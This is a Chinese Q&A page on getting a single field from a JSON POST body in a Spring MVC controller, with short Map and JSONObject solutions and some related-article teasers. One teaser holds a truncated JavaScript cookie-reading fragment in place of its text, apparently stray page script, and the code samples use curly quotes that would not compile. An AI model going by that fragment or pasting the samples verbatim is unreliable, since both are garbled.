问题:

可以在Controller中使用@RequestBody 注解自动装配对象获得前台POST过来的JSON字符串,但是现在我想直接获取一个json字符串应该如何获取?

如:有JSON字符串{“code”:”abc”} 我想直接获取code的值但是不装配成对象该怎么办?

Controller代码如下:
@RequestMapping(value = “/isExistByCode”, method = RequestMethod.POST)
public boolean isExistByCode(@RequestBody String code) {
return abilityService.isExistByCode(code);
}

解决方案:

1.但是不建议使用

method(@RequestBody Map map) {
map.get(“code”);
}

2.直接将request content 转换为JSONObject(配置Converter,springmvc会帮我们做)

method(@RequestBody JSONObject jsonObj) {
jsonObj.getString(“code”);
}

Intellij IDEA2017入门教程

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?dec...

阅读全文

笔记:RESTClient使用json数据访问后台URL接口

就怕再次忘记,赶紧写下来!见图片内容填写。 浏览器http模拟插件:RESTClient URL:    http://localhost:8083/pmp/receiveresult.pub Method: POST Headers...

阅读全文

SpringMVC简单构造restful, 并返回json

同一资源 多种表述 如果写完一个方法,返回request到JSP, 可同时手机端需要调接口怎么办, 如果前台的一层皮换成了以nodejs为服务的框架调用怎么办 可以每个需...

阅读全文

欢迎留言